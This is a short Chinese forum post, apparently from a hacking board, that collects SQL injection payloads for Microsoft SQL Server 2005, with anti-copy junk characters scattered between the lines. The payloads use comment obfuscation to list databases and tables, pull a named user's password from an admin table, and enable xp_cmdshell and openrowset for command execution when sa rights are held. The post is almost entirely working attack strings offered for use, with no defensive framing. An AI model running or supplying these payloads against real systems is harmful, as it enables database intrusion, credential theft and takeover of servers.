MSsql2005注入语句

admin

: x/ e- R' R  |2 u  O+ m5 U( D2 J
[Copy to clipboard]CODE:
! Z' Y5 k8 O  v  i! @5 [5 _/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--

" K+ q, Z# p' w  u  M爆表语句,somedb部份是所要列的数据库，红色数字1累加
: x; t9 _9 [" V: ^" o. d

8 c9 U3 }3 D$ |' E0 C1 |1 a; E[Copy to clipboard]CODE:
! L7 P1 P' d7 P+ P$ [6 L: r. k/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--

爆字段语句，爆表admin里user='icerover'的密码段


7 `3 M2 k6 b5 s. [  j# w[Copy to clipboard]CODE:
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
( [* k3 n; {* ]; s3 A
mssql2005默认没有开xp_cmdshell的，openrowset也不能用
! A9 S, X" i/ q" x6 x' l如果是sa权限，可以这样来开启
开启openrowset

" [1 `1 g9 A3 {
[Copy to clipboard]CODE:
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
" @* i7 q0 _3 ?
开启xp_cmdshell
7 B9 x8 j+ v5 w. @# U0 N; G; F, x1 r

[Copy to clipboard]CODE:
6 n( ]2 p# T( `* @) Q# u/ ~EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
7 y3 q3 C  \3 X5 _2 B. x, D, ]
- O! P& }* w$ z( u( Tok,over~~晚安
" `$ M  v2 ?4 d; m